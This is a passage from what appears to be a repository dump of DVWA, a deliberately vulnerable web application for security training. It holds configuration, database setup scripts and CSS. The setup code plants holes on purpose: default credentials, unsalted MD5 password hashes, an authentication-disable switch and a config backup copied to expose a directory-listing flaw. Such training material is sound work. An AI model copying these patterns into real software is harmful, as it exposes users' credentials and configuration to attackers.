restart: unless-stopped\n"
  },
  {
    "path": "config/config.inc.php.dist",
    "content": "<?php\n\n# If you are having problems connecting to the MySQL database and all of the variables below are correct\n# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.\n#   Thanks to @digininja for the fix.\n\n# Database management system to use\n$DBMS = getenv('DBMS') ?: 'MySQL';\n#$DBMS = 'PGSQL'; // Currently disabled\n\n# Database variables\n#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.\n#   Please use a database dedicated to DVWA.\n#\n# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.\n#   See README.md for more information on this.\n$_DVWA = array();\n$_DVWA[ 'db_server' ]   = getenv('DB_SERVER') ?: '127.0.0.1';\n$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';\n$_DVWA[ 'db_user' ]     = getenv('DB_USER') ?: 'dvwa';\n$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';\n$_DVWA[ 'db_port']      = getenv('DB_PORT') ?: '3306';\n\n# ReCAPTCHA settings\n#   Used for the 'Insecure CAPTCHA' module\n#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin\n$_DVWA[ 'recaptcha_public_key' ]  = getenv('RECAPTCHA_PUBLIC_KEY') ?: '';\n$_DVWA[ 'recaptcha_private_key' ] = getenv('RECAPTCHA_PRIVATE_KEY') ?: '';\n\n# Default security level\n#   Default value for the security level with each session.\n#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.\n$_DVWA[ 'default_security_level' ] = getenv('DEFAULT_SECURITY_LEVEL') ?: 'impossible';\n\n# Default locale\n#   Default locale for the help page shown with each session.\n#   The default is 'en'. You may wish to set this to either 'en' or 'zh'.\n$_DVWA[ 'default_locale' ] = getenv('DEFAULT_LOCALE') ?: 'en';\n\n# Disable authentication\n#   Some tools don't like working with authentication and passing cookies around\n#   so this setting lets you turn off authentication.\n$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;\n\ndefine ('MYSQL', 'mysql');\ndefine ('SQLITE', 'sqlite');\n\n# SQLi DB Backend\n#   Use this to switch the backend database used in the SQLi and Blind SQLi labs.\n#   This does not affect the backend for any other services, just these two labs.\n#   If you do not understand what this means, do not change it.\n$_DVWA['SQLI_DB'] = getenv('SQLI_DB') ?: MYSQL;\n#$_DVWA['SQLI_DB'] = SQLITE;\n#$_DVWA['SQLITE_DB'] = 'sqli.db';\n\n?>"
  },
  {
    "path": "database/bac_setup.sql",
    "content": "-- Create tables for Broken Access Control module\n\n-- Table for access logging\nCREATE TABLE IF NOT EXISTS access_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    target_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    timestamp DATETIME NOT NULL,\n    FOREIGN KEY (user_id) REFERENCES users(user_id),\n    FOREIGN KEY (target_id) REFERENCES users(user_id)\n) ENGINE=InnoDB;\n\n-- Table for security logging (unauthorized attempts)\nCREATE TABLE IF NOT EXISTS security_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    target_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    timestamp DATETIME NOT NULL,\n    ip_address VARCHAR(45) NOT NULL,\n    FOREIGN KEY (user_id) REFERENCES users(user_id),\n    FOREIGN KEY (target_id) REFERENCES users(user_id)\n) ENGINE=InnoDB;\n\n-- Add role column to users table if it doesn't exist\nALTER TABLE users ADD COLUMN IF NOT EXISTS role VARCHAR(20) DEFAULT 'user';\n\n-- Update admin user to have admin role\nUPDATE users SET role = 'admin' WHERE user = 'admin';\n"
  },
  {
    "path": "database/create_mssql_db.sql",
    "content": "/*\nIn case I get round to adding MS SQL support, this creates and populates the tables.\n*/\n\nCREATE DATABASE dvwa;\n\nUSE dvwa;\n\nCREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), [user] VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login DATETIME, failed_login INT);\n\nINSERT INTO users VALUES ('1','admin','admin','admin',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'admin.jpg', GETUTCDATE(), '0'), ('2','Gordon','Brown','gordonb',CONVERT(NVARCHAR(32),HashBytes('MD5', 'abc123'),2),'gordonb.jpg', GETUTCDATE(), '0'), ('3','Hack','Me','1337',CONVERT(NVARCHAR(32),HashBytes('MD5', 'charley'),2),'1337.jpg', GETUTCDATE(), '0'), ('4','Pablo','Picasso','pablo',CONVERT(NVARCHAR(32),HashBytes('MD5', 'letmein'),2),'pablo.jpg', GETUTCDATE(), '0'), ('5', 'Bob','Smith','smithy',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'smithy.jpg', GETUTCDATE(), '0');\n\nCREATE TABLE guestbook (comment_id INT IDENTITY(1,1) PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100),2);\n\nINSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test');\n"
  },
  {
    "path": "database/create_oracle_db.sql",
    "content": "/* Create a copy of the database and contents in Oracle */\n\nCREATE TABLE users (\nuser_id NUMBER NOT NULL,\nfirst_name varchar(20) DEFAULT NULL,\nlast_name varchar(20) DEFAULT NULL,\n\"user\" varchar(20) DEFAULT NULL,\npassword varchar(20) DEFAULT NULL,\navatar varchar(20) DEFAULT NULL,\nlast_login TIMESTAMP,\nfailed_login NUMBER,\nPRIMARY KEY (user_id)\n);\n\nCREATE TABLE guestbook\n(comment_id NUMBER GENERATED BY DEFAULT AS IDENTITY,\n\"comment\" VARCHAR(100) DEFAULT NULL,\n\"name\" VARCHAR(100) NOT NULL,\nPRIMARY KEY (comment_id));\n\nINSERT INTO users values ('1','admin','admin','admin',('password'),'admin.jpg', sysdate, '0');\nINSERT INTO users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', sysdate, '0');\nINSERT INTO users values ('3','Hack','Me','1337',('charley'),'1337.jpg', sysdate, '0');\nINSERT INTO users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', sysdate, '0');\nINSERT INTO users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', sysdate, '0');\n\nINSERT INTO guestbook (\"comment\", \"name\") VALUES ('What a brilliant app!', 'Marcel Marceau');\n"
  },
  {
    "path": "database/create_postgresql_db.sql",
    "content": "CREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), \"user\" VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login timestamp, failed_login INT);\n\nINSERT INTO users VALUES ('1','admin','admin','admin',MD5('password'),'admin.jpg', CURRENT_TIMESTAMP, '0'),('2','Gordon','Brown','gordonb',MD5('abc123'),'gordonb.jpg', CURRENT_TIMESTAMP, '0'), ('3','Hack','Me','1337',MD5('charley'),'1337.jpg', CURRENT_TIMESTAMP, '0'), ('4','Pablo','Picasso','pablo',MD5('letmein'),'pablo.jpg', CURRENT_TIMESTAMP, '0'), ('5', 'Bob','Smith','smithy',MD5('password'),'smithy.jpg', CURRENT_TIMESTAMP, '0');\n\nCREATE TABLE guestbook (comment_id serial PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100));\n\nINSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test');\n"
  },
  {
    "path": "database/create_sqlite_db.sql",
    "content": "CREATE TABLE `users` (\n`user_id` int NOT NULL,\n`first_name` text DEFAULT NULL,\n`last_name` text DEFAULT NULL,\n`user` text DEFAULT NULL,\n`password` text DEFAULT NULL,\n`avatar` text DEFAULT NULL,\n`last_login` datetime,\n`failed_login` int,\nPRIMARY KEY (`user_id`)\n);\n\nCREATE TABLE `guestbook` (\n`comment_id` int,\n`comment` text default null,\n`name` text DEFAULT NULL,\nPRIMARY KEY (`comment_id`)\n);\n\n\ninsert into users values ('1','admin','admin','admin',('password'),'admin.jpg', DATE(), '0');\ninsert into users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', DATE(), '0');\ninsert into users values ('3','Hack','Me','1337',('charley'),'1337.jpg', DATE(), '0');\ninsert into users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', DATE(), '0');\ninsert into users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', DATE(), '0');;\n\ninsert into guestbook values ('1', 'What a brilliant app!', 'Marcel Marceau');\n"
  },
  {
    "path": "docs/pdf.html",
    "content": "Damn Vulnerable Web Application (DVWA) <a href=\"docs/DVWA_v1.3.pdf\">Official Documentation PDF v1.3</a>\r\n"
  },
  {
    "path": "dvwa/css/help.css",
    "content": "body {\r\n\tbackground-color: #e7e7e7;\r\n\tfont-family: Arial, Helvetica, sans-serif;\r\n\tfont-size: 13px;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 25px;\r\n}\r\n\r\ndiv#container {\r\n}\r\n\r\ndiv#code {\r\n\tbackground-color: #ffffff;\r\n}\r\n\r\ndiv#area {\r\n\tmargin-left: 30px;\r\n}\r\n\r\nspan.spoiler {\r\n\tbackground-color: black;\r\n\tcolor: black;\r\n}\r\n\r\n/* === Dark theme === */\r\nbody.dark {\r\n\tbackground: #2f2f2f;\r\n\tcolor: #f8fafa;\r\n}\r\n\r\nbody.dark a {\r\n\tcolor: #99cc33;\r\n}\r\n\r\nbody.dark div#code {\r\n\tbackground-color: #2f2f2f;\r\n\tcolor: #f8fafa;\r\n}\r\n\r\nbody.dark table {\r\n\tbackground-color: #2f2f2f;\r\n\tborder: none !important;\r\n}"
  },
  {
    "path": "dvwa/css/login.css",
    "content": "body {\r\n\tbackground: #fefffe;\r\n\tfont: 12px/15px Arial, Helvetica, sans-serif;\r\n\tline-height: 20px;\r\n\tcolor: #6b6b6b;\r\n}\r\n\r\n#wrapper {\r\n\ttext-align: center;\r\n\tmargin: 0 auto;\r\n}\r\n\r\n#content {\r\n\tdisplay: inline-block;\r\n\tpadding: 20px;\r\n\twidth: auto;\r\n}\r\n\r\n#footer {\r\n\tposition: absolute;\r\n\twidth: 100%;\r\n\theight: 50px;\r\n\tbottom: 0px;\r\n\tleft: 0px;\r\n}\r\n\r\nlabel {\r\n\tfloat: left;\r\n\ttext-align: right;\r\n\tmargin-right: 0.5em;\r\n\tdisplay: block;\r\n\toverflow: hidden;\r\n\tpadding-right: 50px;\r\n\tfont-weight: bold;\r\n}\r\n\r\n.loginInput {\r\n\tfloat: left;\r\n\tcolor: #6B6B6B;\r\n\twidth: 320px;\r\n\tbackground-color: #F4F4F4;\r\n\tborder: 1px;\r\n\tborder-style: solid;\r\n\tborder-color: #c4c4c4;\r\n\tpadding: 6px;\r\n\tmargin-bottom: 12px;\r\n}\r\n\r\nfieldset {\r\n\twidth: 350px;\r\n\tpadding: 10px 20px 10px 20px;\r\n\toverflow: hidden;\r\n\tborder-style: none;\r\n}\r\n\r\np {\r\n\tfont-size: 10px;\r\n}\r\n\r\n"
  },
  {
    "path": "dvwa/css/main.css",
    "content": "body {\r\n\tmargin: 0;\r\n\tcolor: #2f2f2f;\r\n\tfont: 12px/15px Arial, Helvetica, sans-serif;\r\n\tmin-width: 981px;\r\n\theight: 100%;\r\n\tposition: relative;\r\n}\r\n\r\nbody.home {\r\n\tbackground: #e7e7e7;\r\n}\r\n\r\ndiv.clear {\r\n\tclear: both;\r\n}\r\n\r\na {\r\n\tcolor: #99cc33;\r\n\ttext-decoration: underline;\r\n\tfont-weight: bold;\r\n}\r\n\r\na img {\r\n\tborder: 0;\r\n}\r\n\r\na: hover {\r\n\ttext-decoration: none;\r\n}\r\n\r\ninput, textarea, select {\r\n\tfont: 100% arial,sans-serif;\r\n\tvertical-align: middle;\r\n}\r\n\r\nform,fieldset {\r\n\tmargin: 0;\r\n\tpadding: 0;\r\n\tborder-style: none;\r\n}\r\n\r\nem {\r\n\tfont-weight: bold;\r\n\tfont-style: normal;\r\n}\r\n\r\nh1, h2, h3, h4, h5, h6 {\r\n\tmargin-top: 0px;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 200%;\r\n}\r\n\r\nh2 {\r\n\tfont-size: 160%;\r\n}\r\n\r\n\r\nh3 {\r\n\tfont-size: 130%;\r\n}\r\n\r\nhr {\r\n\tborder-width: 0px;\r\n\tcolor: #C3D9FF;\r\n\tbackground-color: #C3D9FF;\r\n\theight: 1px;\r\n}\r\n\r\nul.menuBlocks {\r\n\tlist-style-type: none;\r\n\tpadding-left: 0px;\r\n\tmargin-top: 0px;\r\n\tmargin-bottom: 0px;\r\n\tmargin-left: 0px;\r\n}\r\n\r\nul + ul, ul + ul.menuBlocks, ul + h1, ul + h2, ul + p {\r\n\tmargin-top: 20px;\r\n}\r\n\r\n.fixed {\r\n\tfont-family: Fixed, Courier, monospace;\r\n\tfont-size: 13px;\r\n}\r\n\r\ndiv.nearly {\r\n\tborder: 2px solid #0000ff;\r\n\tpadding: 10px 20px 10px 20px;\r\n\tmargin-top: 15px;\r\n\tmargin-bottom: 15px;\r\n}\r\n\r\ndiv.success {\r\n\tborder: 2px solid #00ff00;\r\n\tpadding: 10px 20px 10px 20px;\r\n\ttext-align: center;\r\n\tfont-weight: bold;\r\n\tmargin-top: 15px;\r\n\tmargin-bottom: 15px;\r\n}\r\n\r\ndiv.warning {\r\n\tborder: 2px solid #ff0000;\r\n\tpadding: 10px 20px 10px 20px;\r\n\tcolor: #800000;\r\n\tmargin-top: 15px;\r\n\tmargin-bottom: 15px;\r\n}\r\n\r\ndiv.warning h1 {\r\n\tcolor: #ff0000;\r\n}\r\n\r\ndiv.message {\r\n\tborder: 1px solid #C0C0C0;\r\n\tpadding: 5px;\r\n\tmargin: 10px 0px 10px 0px;\r\n\tbackground-color: #f8fafa;\r\n\twidth: 45%;\r\n}\r\n\r\ndiv#container {\r\n\twidth: 900px;\r\n\theight: 100%;\r\n\tmargin-left: auto;\r\n\tmargin-right: auto;\r\n\tbackground: #f4f4f4;\r\n\tfont-size: 13px;\r\n}\r\n\r\ndiv#header {\r\n\tposition: relative;\r\n\tpadding: 10px;\r\n\toverflow: hidden;\r\n\tbackground: #2f2f2f;\r\n\tborder-bottom: 5px solid #A1CC33;\r\n\ttext-align: center;\r\n}\r\n\r\ndiv#system_info {\r\n\tpadding: 10px;\r\n\ttext-align: right;\r\n}\r\n\r\ndiv#main_body {\r\n\tfloat: right;\r\n\twidth: 693px;\r\n\tbackground: #f4f4f4;\r\n\tpadding-top: 20px;\r\n\tpadding-bottom: 10px;\r\n\tfont-size: 13px;\r\n}\r\n\r\ndiv.body_padded {\r\n\tpadding-left: 20px;\r\n\tpadding-right: 20px;\r\n}\r\n\r\ndiv#main_menu {\r\n\tfloat: left;\r\n\twidth: 200px;\r\n\theight: 100%;\r\n\tbackground-color: #f4f4f4;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n}\r\n\r\ndiv#main_menu li {\r\n\tborder-width: 1px;\r\n\tborder-style: solid;\r\n\tborder-color: #D2D4D4 #6B778C #6B778C #D2D4D4;\r\n\tpadding: 3px 5px 3px 5px;\r\n\tmargin-bottom: 3px;\r\n\tbackground-color: #bebebe;\r\n}\r\n\r\ndiv#main_menu li a {\r\n\tcolor: #000000;\r\n\ttext-decoration: none;\r\n\tdisplay: block;\r\n}\r\n\r\ndiv#main_menu li:hover {\r\n    background-color: #ccc;\r\n}\r\n\r\n\r\ndiv#main_menu li.selected {\r\n\tborder-color: #758DAE #758DAE #758DAE #758DAE;\r\n\tbackground-color: #99cc33;\r\n}\r\n\r\ndiv#main_menu li.selected a {\r\n\tcolor: #F9F7ED;\r\n}\r\n\r\ndiv#main_menu li: hover {\r\n\tborder-color: #D2D4D4;\r\n}\r\n\r\ndiv#main_menu li: hover a {\r\n\tcolor: #F9F7ED;\r\n}\r\n\r\ndiv#main_menu_padded {\r\n\tpadding: 15px;\r\n}\r\n\r\ndiv#footer {\r\n\tcolor: #999999;\r\n\tbackground: #2f2f2f;\r\n\tpadding: 10px;\r\n\ttext-align: center;\r\n\tborder-top: 5px solid #A1CC33;\r\n}\r\n\r\n.popup_button {\r\n    border-width: 1px;\r\n    border-style: solid;\r\n    border-color: #D2D4D4 #6B778C #6B778C #D2D4D4;\r\n    padding: 3px 5px;\r\n    margin-bottom: 3px;\r\n    background-color: #bebebe;\r\n    font-weight: bold;\r\n    float: right;\r\n    cursor: pointer;\r\n    color: #000000;\r\n}\r\n\r\n.popup_button:hover {\r\n\tcolor: white;\r\n    background-color: #A1CC33;\r\n}\r\n\r\n\r\n\r\n\r\ndiv.vulnerable_code_area {\r\n\tbackground-color: #f8fafa;\r\n\tborder-width: 1px;\r\n\tborder-style: solid;\r\n\tborder-color: #000000;\r\n\tpadding: 10px 20px 10px 20px;\r\n\tmargin-bottom: 20px;\r\n}\r\n\r\ndiv#guestbook_comments {\r\n\twidth: 45%;\r\n\tbackground-color: #f8fafa;\r\n\tborder-width: 1px;\r\n\tborder-style: solid;\r\n\tborder-color: #C0C0C0;\r\n\tpadding: 5px 10px 5px 10px;\r\n\tmargin-bottom: 5px;\r\n}\r\n\r\ndiv#idslog {\r\n\tborder: 1px solid #C0C0C0;\r\n\tpadding: 5px;\r\n\tmargin: 10px 0px 10px 0px;\r\n\tbackground-color: #f8fafa;\r\n}\r\n\r\npre {\r\n\tcolor: red;\r\n}\r\n\r\ndiv.submenu {\r\n\tborder-bottom: 1px solid #000000;\r\n\tmargin-bottom: 15px;\r\n\tpadding: 4px 0px 10px 0px;\r\n\tfont-size: 13px;\r\n}\r\n\r\nspan.submenu_item {\r\n\tpadding: 0px 10px 0px 10px;\r\n}\r\n\r\nspan.submenu_item + span.submenu_item {\r\n\tborder-left: 1px dashed #000000;\r\n\tfont-size: 13px;\r\n}\r\n\r\nspan.selected {\r\n\tfont-weight: bold;\r\n}\r\n\r\nspan.success {\r\n\r\n\tcolor:green;\r\n}\r\n\r\nspan.failure {\r\n\tcolor:red;\r\n\tfont-weight: bold;\r\n}\r\n\r\n.theme-icon {\r\n\tposition: absolute;\r\n\tright: 0;\r\n}\r\n\r\n.theme-icon img {\r\n\theight: 32px;\r\n\twidth: 32px;\r\n}\r\n\r\n\r\n/* === Dark theme === */\r\nbody.home.dark {\r\n\tbackground: #2f2f2f;\r\n\tcolor: #f8fafa;\r\n}\r\n\r\nbody.home.dark #container,\r\nbody.home.dark #main_menu,\r\nbody.home.dark #main_body,\r\nbody.home.dark #system_info {\r\n\tbackground: #2f2f2f;\r\n}\r\n\r\nbody.home.dark .vulnerable_code_area {\r\n\tbackground: #2f2f2f;\r\n}\r\n\r\nbody.home.dark .message {\r\n\tbackground-color: #2f2f2f;\r\n}\r\n\r\nbody.home.dark div#guestbook_comments {\r\n\tbackground-color: #2f2f2f;\r\n}\r\n\r\n.notice {\r\n\tcolor: red;\r\n\tfont-weight: bold;\r\n}\r\n"
  },
  {
    "path": "dvwa/css/source.css",
    "content": "body {\r\n\tbackground-color: #e7e7e7;\r\n\tfont-family: Arial, Helvetica, sans-serif;\r\n\tfont-size: 13px;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 25px;\r\n}\r\n\r\ndiv#container {\r\n}\r\n\r\ndiv#code {\r\n\tbackground-color: #ffffff;\r\n}\r\n\r\ndiv#area {\r\n\tmargin-left: 30px;\r\n}\r\n\r\n.loginSuccess {\r\n\tcolor: #638323;\r\n}\r\n\r\n.loginFail {\r\n\tcolor: #a50a0a;\r\n}\r\n\r\n/* === Dark theme === */\r\nbody.dark {\r\n\tbackground: #2f2f2f;\r\n\tcolor: #f8fafa;\r\n}\r\n\r\nbody.dark a {\r\n\tcolor: #99cc33;\r\n}\r\n\r\nbody.dark div#code {\r\n\tbackground-color: #bdbdbd;\r\n}\r\n\r\nbody.dark table {\r\n\tbackground-color: #2f2f2f;\r\n\tborder: none !important;\r\n}"
  },
  {
    "path": "dvwa/includes/DBMS/MySQL.php",
    "content": "<?php\n\n/*\n\nThis file contains all of the code to setup the initial MySQL database. (setup.php)\n\n*/\n\nif( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {\n\tdefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../../' );\n}\n\nif( !@($GLOBALS[\"___mysqli_ston\"] = mysqli_connect( $_DVWA[ 'db_server' ],  $_DVWA[ 'db_user' ],  $_DVWA[ 'db_password' ], \"\", $_DVWA[ 'db_port' ] )) ) {\n\tdvwaMessagePush( \"Could not connect to the database service.<br />Please check the config file.<br />Database Error #\" . mysqli_connect_errno() . \": \" . mysqli_connect_error() . \".\" );\n\tif ($_DVWA[ 'db_user' ] == \"root\") {\n\t\tdvwaMessagePush( 'Your database user is root, if you are using MariaDB, this will not work, please read the README.md file.' );\n\t}\n\tdvwaPageReload();\n}\n\n// Create database\n$drop_db = \"DROP DATABASE IF EXISTS {$_DVWA[ 'db_database' ]};\";\nif( !@mysqli_query($GLOBALS[\"___mysqli_ston\"],  $drop_db ) ) {\n\tdvwaMessagePush( \"Could not drop existing database<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n\tdvwaPageReload();\n}\n\n$create_db = \"CREATE DATABASE {$_DVWA[ 'db_database' ]};\";\nif( !@mysqli_query($GLOBALS[\"___mysqli_ston\"],  $create_db ) ) {\n\tdvwaMessagePush( \"Could not create database<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n\tdvwaPageReload();\n}\ndvwaMessagePush( \"Database has been created.\" );\n\n\n// Create table 'users'\nif( !@((bool)mysqli_query($GLOBALS[\"___mysqli_ston\"], \"USE \" . $_DVWA[ 'db_database' ])) ) {\n\tdvwaMessagePush( 'Could not connect to database.' );\n\tdvwaPageReload();\n}\n\n$create_tb = \"CREATE TABLE users (user_id int(6),first_name varchar(15),last_name varchar(15), user varchar(15), password varchar(32),avatar varchar(70), last_login TIMESTAMP, failed_login INT(3), PRIMARY KEY (user_id));\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"],  $create_tb ) ) {\n\tdvwaMessagePush( \"Table could not be created<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n\tdvwaPageReload();\n}\ndvwaMessagePush( \"'users' table was created.\" );\n\n\n// Insert some data into users\n$base_dir= str_replace (\"setup.php\", \"\", $_SERVER['SCRIPT_NAME']);\n$avatarUrl  = $base_dir . 'hackable/users/';\n\n$insert = \"INSERT INTO users VALUES\n\t('1','admin','admin','admin',MD5('password'),'{$avatarUrl}admin.jpg', NOW(), '0'),\n\t('2','Gordon','Brown','gordonb',MD5('abc123'),'{$avatarUrl}gordonb.jpg', NOW(), '0'),\n\t('3','Hack','Me','1337',MD5('charley'),'{$avatarUrl}1337.jpg', NOW(), '0'),\n\t('4','Pablo','Picasso','pablo',MD5('letmein'),'{$avatarUrl}pablo.jpg', NOW(), '0'),\n\t('5','Bob','Smith','smithy',MD5('password'),'{$avatarUrl}smithy.jpg', NOW(), '0');\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) ) {\n\tdvwaMessagePush( \"Data could not be inserted into 'users' table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n\tdvwaPageReload();\n}\ndvwaMessagePush( \"Data inserted into 'users' table.\" );\n\n// Add role column to users table\n$alter_users = \"ALTER TABLE users ADD COLUMN IF NOT EXISTS role VARCHAR(20) DEFAULT 'user';\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $alter_users) ) {\n    dvwaMessagePush( \"Could not add role column to users table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"Added role column to users table.\" );\n\n// Set admin user role\n$update_admin = \"UPDATE users SET role = 'admin' WHERE user = 'admin';\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $update_admin) ) {\n    dvwaMessagePush( \"Could not set admin role<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"Updated admin user role.\" );\n\n// Create access_log table\n$create_access_log = \"CREATE TABLE access_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    target_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    timestamp DATETIME NOT NULL,\n    FOREIGN KEY (user_id) REFERENCES users(user_id),\n    FOREIGN KEY (target_id) REFERENCES users(user_id)\n) ENGINE=InnoDB;\";\n\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_access_log) ) {\n    dvwaMessagePush( \"Could not create access_log table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"'access_log' table was created.\" );\n\n// Create security_log table\n$create_security_log = \"CREATE TABLE security_log (\n    id INT AUTO_INCREMENT PRIMARY KEY,\n    user_id INT NOT NULL,\n    target_id INT NOT NULL,\n    action VARCHAR(50) NOT NULL,\n    timestamp DATETIME NOT NULL,\n    ip_address VARCHAR(45) NOT NULL,\n    FOREIGN KEY (user_id) REFERENCES users(user_id),\n    FOREIGN KEY (target_id) REFERENCES users(user_id)\n) ENGINE=InnoDB;\";\n\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_security_log) ) {\n    dvwaMessagePush( \"Could not create security_log table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"'security_log' table was created.\" );\n\n// Create guestbook table\n$create_tb_guestbook = \"CREATE TABLE guestbook (comment_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT, comment varchar(300), name varchar(100), PRIMARY KEY (comment_id));\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $create_tb_guestbook) ) {\n    dvwaMessagePush( \"Table could not be created<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"'guestbook' table was created.\" );\n\n// Insert data into 'guestbook'\n$insert = \"INSERT INTO guestbook VALUES ('1','This is a test comment.','test');\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $insert) ) {\n    dvwaMessagePush( \"Data could not be inserted into 'guestbook' table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"Data inserted into 'guestbook' table.\" );\n\n// Copy .bak for a fun directory listing vuln\n$conf = DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php';\n$bakconf = DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php.bak';\nif (file_exists($conf)) {\n    // Who cares if it fails. Suppress.\n    @copy($conf, $bakconf);\n}\n\ndvwaMessagePush( \"Backup file /config/config.inc.php.bak automatically created\" );\n\n// Add account_enabled columns to users table\n$alter_users_dept = \"ALTER TABLE users \n    ADD COLUMN IF NOT EXISTS account_enabled TINYINT(1) DEFAULT 1;\";\nif( !mysqli_query($GLOBALS[\"___mysqli_ston\"], $alter_users_dept) ) {\n    dvwaMessagePush( \"Could not add account_enabled column to users table<br />SQL: \" . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) );\n    dvwaPageReload();\n}\ndvwaMessagePush( \"Added account_enabled columns to users table.\" );\n\n// Done\ndvwaMessagePush( \"<em>Setup successful</em>!\" );\n\nif( !dvwaIsLoggedIn())\n    dvwaMessagePush( \"Please <a href='login.php'>login</a>.<script>setTimeout(function(){window.location.href='login.php'},5000);</script>\" );\ndvwaPageReload();\n\n?>\n"
  },
  {
    "path": "dvwa/includes/DBMS/PGSQL.php",
